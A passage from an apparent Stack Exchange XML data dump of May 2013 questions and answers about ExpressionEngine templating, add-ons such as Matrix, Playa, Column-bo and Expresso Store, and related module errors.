  <row Id="10433" PostTypeId="2" ParentId="10432" CreationDate="2013-05-16T04:57:50.470" Score="1" Body="&lt;p&gt;I don't think it would work with any of &quot;PHP Parsing Stage&quot; of template preference. You can use Query module tag instead of using PHP code with channel entry tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;test&quot; entry_id=&quot;20&quot;}&#xA;&#xA;{exp:query sql=&quot;SELECT col1 FROM table WHERE entry_id = '{entry_id}'&quot; parse=&quot;inward&quot;}&#xA;{col1}&#xA;{/exp:query}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would work for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Edited &lt;em&gt;*&lt;/em&gt;&lt;/strong&gt;&#xA;In the case, it's necessary for you to have PHP code within the template you can embed a template within it like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;test&quot; entry_id=&quot;20&quot;}&#xA;&#xA;{embed=&quot;temp_grp/embedded_temp&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can have PHP code within the template like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;  $entry_id = &quot;{embed:entry_id}&quot;;&#xA;&#xA;  $sql_query = &quot;SELECT col1 FROM table WHERE entry_id = $entry_id&quot;;&#xA;&#xA;  // rest of code&#xA;  ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget setting the &quot;PHP Parsing Stage&quot; as &quot;Output&quot; in template preferences with &quot;Allow PHP&quot;&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-05-16T16:01:12.300" LastActivityDate="2013-05-16T16:01:12.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10434" PostTypeId="2" ParentId="10421" CreationDate="2013-05-16T05:14:07.867" Score="1" Body="&lt;p&gt;Your query seems correct. Although, you can use channel images tag instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images entry_id='entry_id' category='private'}&#xA;    {if image:no_images} 0 images {/if}&#xA;{/exp:channel_images:images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case you would like to use query module, it would work also:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT( * ) AS total_images FROM exp_channel_images WHERE entry_id = '{entry_id}' AND category = 'private'&quot;}&#xA; {if total_images == 0} 0 images {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-16T05:14:07.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10435" PostTypeId="2" ParentId="10386" CreationDate="2013-05-16T05:46:11.547" Score="2" Body="&lt;p&gt;I deleted the file ft.rel.php in extensions and it works!!!&lt;/p&gt;&#xA;" OwnerUserId="1506" LastActivityDate="2013-05-16T05:46:11.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10436" PostTypeId="2" ParentId="10346" CreationDate="2013-05-16T06:02:35.440" Score="1" Body="&lt;p&gt;I (we) ended up figuring out a solution!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This after some 30+ back and forth emails with Lisa, both of us learning a bunch of stuff about how Playa - within Matrix - within {epx:playa:children} works. Plus count, row_count and total_results, total_rows and a bunch of other variables for Playa and Matrix plus all the var_prefix scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I finally gave up for the most part at which point Lisa suggested I look into Switchee which I did only to realize I was running into the same count issue I was having before. More on that at the bottom of this answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, this for some reason, out of the blue, gave me an idea to try &lt;a href=&quot;http://devot-ee.com/add-ons/column-bo&quot; rel=&quot;nofollow&quot;&gt;Column-bo&lt;/a&gt; which is similar to &lt;a href=&quot;http://devot-ee.com/add-ons/splitter&quot; rel=&quot;nofollow&quot;&gt;Splitter&lt;/a&gt; if you are familiar with that add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Column-bo's example shows it being used and wrapped around the channel entry tag so I wasn't quite sure it would work inside the channel entry tag itself and wrapping the {exp:playa:children} tag or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I honestly can't believe it but, it did in fact work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pseudo code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:columnbo:lists columns=&quot;1&quot; open='&amp;lt;div class=&quot;my-div&quot;&amp;gt;' close=&quot;&amp;lt;/div&amp;gt;&quot; delimiter=&quot;&amp;lt;/div&amp;gt;&quot; no_results=&quot;&quot;}&#xA;&#xA;    {exp:playa:children channel=&quot;somechannel&quot; var_prefix=&quot;child&quot;}&#xA;&#xA;        {child:matrix_field var_prefix=&quot;mx&quot;}&#xA;&#xA;            {if mx:field_row_index == 0}&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;            {/if}&#xA;&#xA;            {mx:playa_field var_prefix=&quot;ply&quot;}                                   &#xA;&#xA;                &amp;lt;li&amp;gt;{ply:title}&amp;lt;/li&amp;gt;&#xA;&#xA;            {/mx:playa_field}&#xA;&#xA;            {if mx:row_count == mx:total_rows}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;        {/child:matrix_field}&#xA;&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:columnbo:lists}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives me something like following which is exactly like my original code from my question except that the my-div div now only occurs when we have results where as before it was there with results or without:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;my-div&quot;&amp;gt; &amp;lt;--- 1 my-div no matter how many inner divs, ul, li sets existed&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 1 A&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 1 B&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 1 C&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 2 A&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 2 B&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With Playa, Matrix and their count, row_count and total_rows, total_results variables and conditionals etc. I was only ever able to achieve the following where each playa matrix set of rows is wrapped:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;my-div&quot;&amp;gt; &amp;lt;--- 1 of 2&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 1 A&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 1 B&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 1 C&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;my-div&quot;&amp;gt; &amp;lt;--- 2 of 2&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 2 A&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;Title 2 B&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ultimately I'm not sure the var_prefixing mattered or not though, I left it for good mesure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial question doesn't do this issue justice, I realize that though, I hope my explanation/answer does help someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Lisa and P&amp;amp;T Email Support for bearing with me through this one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why Column-bo works and Playa/Matrix vars/conditionals does not?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Column-bo is presumably counting the closing divs and then wraps the first and last one with my-div. So, if you look at my html output example above Column-bo is seeing two closing divs based on the delimiter param I gave it to look for (it could see more divs or none even dependent on the current parent entry and the relationships) then it wraps all of those divs with my-div div of course; once since the columns param is set to 1. Also, if there are no_results or no closing divs ie. the dilimiter then it doesn't add my-div which is perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa/Matrix on the other hand is seeing the following counts: 1,2,3 &amp;amp; 1,2 (which is Title 1 A-C and Title 2 A-B) from the playa_field's data and why the conditionals using 1 doesn't work as there are two 1's and total_results doesn't work either because there are two total_results if you want to think about it that way. Actually, it does work, as it's doing what it's suppose to do, by wrapping my-div twice but, it's just not doing what I wanted/needed it to do of course. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.s. I questioned how all this Playa within Matrix with Playa:Children along with everything else I had in my template plus now adding in Column-bo would effect performance. My code is adding 40 queries to the mix. I'm get the following Total Execution time: 0.3644 which is about .1 more than not having the code in place. No caching mind you so, I think it will be fine :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately something about using &lt;code&gt;{exp:playa:children}&lt;/code&gt; was causing an issue with orderby and sort. I was never able to get things to order correctly so, I scrapped it and went with all the regular tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now everything sorts based on the very first Matrix row order in the entry itself so, if the client moves those rows around everything reorders as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some real Inception going on here but it works. I ended up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:columnbo:lists columns=&quot;1&quot; open='&amp;lt;div class=&quot;my-div&quot;&amp;gt;' close=&quot;&amp;lt;/div&amp;gt;&quot; delimiter=&quot;&amp;lt;/div&amp;gt;&quot; no_results=&quot;&quot;}&#xA;&#xA;    {matrix_field var_prefix=&quot;child&quot;}&#xA;&#xA;        {child:playa_field var_prefix=&quot;play&quot;}&#xA;&#xA;            {play:matrix_field var_prefix=&quot;mx&quot;}&#xA;&#xA;                {if mx:field_row_index == 0}&#xA;                    &amp;lt;div&amp;gt;&#xA;                        &amp;lt;ul&amp;gt;&#xA;                {/if}&#xA;&#xA;                {mx:playa_field var_prefix=&quot;ply&quot;}                                   &#xA;&#xA;                    &amp;lt;li&amp;gt;{ply:title}&amp;lt;/li&amp;gt;&#xA;&#xA;                {/mx:playa_field}&#xA;&#xA;                {if mx:row_count == mx:total_rows}&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;&#xA;            {/play:matrix_field}&#xA;&#xA;        {/child:playa_field}&#xA;&#xA;    {/matrix_field}&#xA;&#xA;{/exp:columnbo:lists}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-05-18T00:01:37.627" LastActivityDate="2013-05-18T00:01:37.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10437" PostTypeId="1" AcceptedAnswerId="10514" CreationDate="2013-05-16T07:14:54.967" Score="1" ViewCount="149" Body="&lt;p&gt;I have promotion codes set to be used only once per user. I have tested them by entering the code on checkout1 and then updating the totals. I don't actually check out and pay. The next time I try to use the code I get an error saying the code is not valid. But I haven't actually used it. Interestingly, the error doesn't occur when i'm logged into the CP in another tab in the browser. I tested this because it happened with a buyer who loaded up her shopping cart and used the code, but then was called away from her desk. When she came back, she refreshed her page and got the error. She can no longer use the code, even though she hasn't used it to check out. &lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-05-18T10:03:11.460" Title="Promotion Code Errors on Expresso Store" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10438" PostTypeId="1" CreationDate="2013-05-16T07:46:27.633" Score="1" ViewCount="93" Body="&lt;p&gt;Trying to activate open RSVP 1.22 module on EE 2.6.1 after installing and get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Addons_modules::$channel_model&#xA;&#xA;Filename: rsvp/mcp.rsvp.php&#xA;&#xA;Line Number: 105&#xA;&#xA;&#xA;Fatal error: Call to a member function get_channel_info() on a non-object in /home/&amp;lt;user&amp;gt;/&amp;lt;system&amp;gt;/expressionengine/third_party/rsvp/mcp.rsvp.php on line 105&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas for a fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1507" LastEditorUserId="1507" LastEditDate="2013-05-16T23:43:04.687" LastActivityDate="2013-06-17T15:38:54.217" Title="RSVP Module install error on EE 2.6.1" Tags="|expresso|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10439" PostTypeId="1" AcceptedAnswerId="10475" CreationDate="2013-05-16T09:45:50.720" Score="0" ViewCount="73" Body="&lt;p&gt;It seems that &lt;a href=&quot;http://devot-ee.com/add-ons/mobile&quot; rel=&quot;nofollow&quot;&gt;mobile&lt;/a&gt; isn't compatible with &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt;. Or the other way around. Can this be solved? When caching a page, you only see the desktop version of the template. The mobile template isn't loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! &#xA;Diederik.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-05-17T06:39:05.673" Title="Using mobile and CE cache together" Tags="|cache|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10440" PostTypeId="2" ParentId="10346" CreationDate="2013-05-16T10:00:25.970" Score="0" Body="&lt;p&gt;You could wrap your div.my-div tag with an if statement, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{my_playa_field:total_children channel=&quot;somechannel&quot;}&quot; &amp;gt; 0}&#xA;    &amp;lt;div class=&quot;my-div&quot;&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could do the same with the closing tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this, but I hope it helps. &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/field.html#total-children-tag&quot; rel=&quot;nofollow&quot;&gt;Some more info on the P&amp;amp;T site.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-05-16T10:00:25.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10441" PostTypeId="1" CreationDate="2013-05-16T10:23:29.087" Score="0" ViewCount="184" Body="&lt;p&gt;I am using safecracker for users to create and edit content. When the entry is set to a status I have named &quot;validated&quot; the users can't edit the entry anymore and it uses a different template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is with a textarea and formatting. When I have the formatting for the text field as &quot;none&quot;, the textarea in the safecracker edit field returns the content with the right returns. When the entry gets validated it comes out as one huge paragraph because there are no &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags or &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tags. When I set it to &quot;auto &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt;&quot; or &quot;xhtml&quot; I get the tags that I need for the &quot;validated&quot; page, but these tags show up in safecracker edit field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to override how a field is formatted from the template so my edit template would not add &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tags to the field but the &quot;validated&quot; template would?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want richtext, I just want a &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tag for a return but I don't want the user to see tags on the edit page. This text field is in Matrix if that makes any difference.&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-05-16T10:23:29.087" Title="Text field formatting - auto &lt;br /&gt; + safecracker editing" Tags="|safecracker|formatting|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10442" PostTypeId="2" ParentId="10388" CreationDate="2013-05-16T10:44:21.513" Score="1" Body="&lt;p&gt;I generate XML files for orders for clients in a very similar format - I use &lt;code&gt;{exp:query sql=&quot;&quot;}...{/exp:query}&lt;/code&gt; for the lot. Eg, I don't touch any exp:channel / order:items / embeds  etc. Can spit out ~1500 orders and relevant details in no time - We have a separate function that can run live currency conversion on the order totals in these XML files - whilst that's slower as it connects to a google api, we've never had any memory issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you temporarily change the template format out of XML and back to PHP. What does the output profiler say about where your memory limits are being consumed?&lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2013-05-16T10:44:21.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10443" PostTypeId="1" AcceptedAnswerId="10447" CreationDate="2013-05-16T11:22:58.777" Score="0" ViewCount="409" Body="&lt;p&gt;Is there a theoretical (or practical) limit to the number of rows you can have in a Matrix field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say each row has 5 single line text fields and a date field.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-16T12:25:38.833" Title="Maximum rows in a Matrix field" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10445" PostTypeId="2" ParentId="10430" CreationDate="2013-05-16T12:13:39.947" Score="1" Body="&lt;p&gt;Since the stash saves the values of variables on the moment of parsing, you can't cache the templates, except on Stash itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on the first template, you set the variable &quot;content&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name='content'}&#xA;    &amp;lt;div class='aside adoption-info'&amp;gt;&#xA;    (...)&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the page is cached, this code isn't evaluated anymore. On the wrapper template, the variable &quot;content&quot; will be empty. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name='content'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if you set both templates to cache, each one will have its own cache file that you be put together on a really later stage of parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I guess your code is too complex, but I didn't look at it enough to say for sure. Try to make it simpler or to just use the cache of Stash.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-16T12:13:39.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10446" PostTypeId="1" CreationDate="2013-05-16T12:20:45.327" Score="1" ViewCount="65" Body="&lt;p&gt;Expressionengine 2.5.5 and Discussion Forums 3.1.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i pass public_custom_profile_fields in forum_thread.html section of the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have tried placing  {custom_profile_fields} in forum_thread.html section but nothing gets displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am trying to display field name  in forum section so that i can create a custom label to a specific member and display it in forum section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1492" LastActivityDate="2013-08-24T15:17:42.093" Title="parsing public_custom_profile_fields in discussion forum" Tags="|ee2|forum|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10447" PostTypeId="2" ParentId="10443" CreationDate="2013-05-16T12:25:38.833" Score="1" Body="&lt;p&gt;I would say with that kind of data, the practical limit would be pretty high, since each row would have very little data (compared to, say, a Playa field in one or more columns).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Said practical limit would be based on a combination of your server memory (for selecting and iterating all the row data, then all the regex used in parsing each row in your template), and browser memory (due to the required javascript in the CP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the Matrix fieldtype:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;any given Matrix field will only display up to 1000 rows on the Publish screen&lt;/li&gt;&#xA;&lt;li&gt;the default limit for Matrix rows in templates is 100 (though you could set this to something higher in the template tag)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-16T12:25:38.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10448" PostTypeId="1" CreationDate="2013-05-16T12:38:33.787" Score="0" ViewCount="92" Body="&lt;p&gt;When trying to add an image the following problems occur:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.0.&#xA;Matrix 2.2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select '+ Add Image' the File Manager opens correctly, but the navigation is broken, and 'Show files as' seems to have no effect. The error when trying to navigate to a previous page of images is:&#xA;'C=content_publish&amp;amp;M=filemanager_actions&amp;amp;action=directory_contents&amp;amp;tbl_offset=15'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I upgraded EE and Matrix:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.4.&#xA;Matrix 2.5.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I select '+ Add Image' nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have pinned the problem down to the Themes/third_party/matrix/ directory, as if I change this directory back to its old version, 2.2.2.1, File Manager opens but I get the original problem with navigation.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-05-16T12:38:33.787" Title="Problem with Matrix/File Manager" Tags="|matrix|file-manager|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10450" PostTypeId="2" ParentId="10431" CreationDate="2013-05-16T13:23:42.530" Score="2" Body="&lt;p&gt;Make sure you have a status group assigned to that channel.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-05-16T13:23:42.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10451" PostTypeId="2" ParentId="10424" CreationDate="2013-05-16T13:36:57.317" Score="0" Body="&lt;p&gt;So the big question is, What changed before it broke?&quot; ,htaccess? new server?&#xA;Are you getting any php errors?&#xA;Any console errors?&#xA;This is not an error I have seen before.&#xA;Any chance I can get a CP login and ftp access to your site?&#xA;support att solspace dott com&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-05-16T13:36:57.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10452" PostTypeId="2" ParentId="10412" CreationDate="2013-05-16T13:43:02.400" Score="0" Body="&lt;p&gt;Strange anomaly, that I don't know if it still exists or not is that for this type of thing to work, I had to make sure that php error reporting was set to &quot;1&quot; for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function(){&#xA;      options = {serviceUrl:'{site_url}utility/suggest_names'};&#xA;      a = $('#query').autocomplete(options);&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to work properly.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-05-16T13:43:02.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10453" PostTypeId="1" CreationDate="2013-05-16T14:29:08.903" Score="1" ViewCount="35" Body="&lt;p&gt;I need a bit of code help please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a messaging module for PM's that is using the following code for outputting the message body when replying to a PM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;else if (isset($extra['replying']) || isset($extra['forwarding']))&#xA;    {&#xA;        $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;swap_var_single('message', &#xA;'[quote author=&quot;'.$original_author.'&quot; date=&quot;'.$original_date.'&quot;]'&#xA;.$original_body.'[/quote]', $tagdata);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is have the quote moved to the bottom of the message so that the cursor automatically appears above it in the textarea and also I'd like to style the quote a bit with some line breaks between the author, date and original_body.&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-06-16T13:38:45.243" Title="Styling a quote in a PM message reply" Tags="|messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10454" PostTypeId="1" AcceptedAnswerId="10456" CreationDate="2013-05-16T14:47:20.917" Score="1" ViewCount="61" Body="&lt;p&gt;Is there any possibility to set a maximal width (or height) for the image selection modal window in wygwam?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-06-15T15:38:32.133" Title="Maximal image width in Wygwam field" Tags="|wygwam|image|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10455" PostTypeId="1" CreationDate="2013-05-16T15:16:04.763" Score="1" ViewCount="514" Body="&lt;p&gt;I've recently uploaded a load of files to the assets folder in my file directory and indexed them via the control panel in the back end but i'm getting lots of transparent thumbnails instead of correct thumbs? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://postimg.org/image/fpvy74mvh/&quot; rel=&quot;nofollow&quot;&gt;http://postimg.org/image/fpvy74mvh/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2013-05-16T17:51:44.023" Title="Assets upload not displaying thumbnails" Tags="|pixelandtonic|module|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10456" PostTypeId="2" ParentId="10454" CreationDate="2013-05-16T15:20:05.207" Score="2" Body="&lt;p&gt;Not sure about setting it to enforce prior to upload, but it can be enforced after the fact in-template using &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/basics&quot; rel=&quot;nofollow&quot;&gt;CE Image's bulk tag pair&lt;/a&gt; wrapped around your Wygwam custom field.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-16T15:20:05.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10457" PostTypeId="1" CreationDate="2013-05-16T15:21:03.903" Score="1" ViewCount="119" Body="&lt;p&gt;Is there a proper way to do this?  Say I want to have a list of restaurants, and I want to filter them by city AND by type of restaurant.  Is this easily done?  I'm guessing it would have to be AJAX or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would preferably be done using a SELECT field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1411" LastActivityDate="2013-05-16T15:21:03.903" Title="Matrix field sorting/filtering in the frontend" Tags="|matrix|filter|sort|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10458" PostTypeId="2" ParentId="10369" CreationDate="2013-05-16T15:39:51.183" Score="0" Body="&lt;p&gt;Thats for the feedback, upgraded to 2.6 and we ended up with more errors. Turned out the server admin had messed around with fastcgi on the server and once those changes were rolled back our upgrade worked ok.So a combination of the fast cgi fix and the upgrade solved our issue.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-05-16T15:39:51.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10459" PostTypeId="1" CreationDate="2013-05-16T16:42:54.027" Score="1" ViewCount="106" Body="&lt;p&gt;I'm working on a site with hundreds of imported pages. Many of them won't be in a menu and are findable by using site search. We have a contextual sidebar menu in the left column and when these non-assigned pages are viewed, the left column is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add a default menu (and breadcrumbs) for any un-assigned page. Is there a way to detect if a page isn't in a menu and use a conditional to load a default if no match is found?&lt;/p&gt;&#xA;" OwnerUserId="669" LastActivityDate="2013-06-16T09:38:45.390" Title="How can I detect a non-menu page in NavEE?" Tags="|navee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
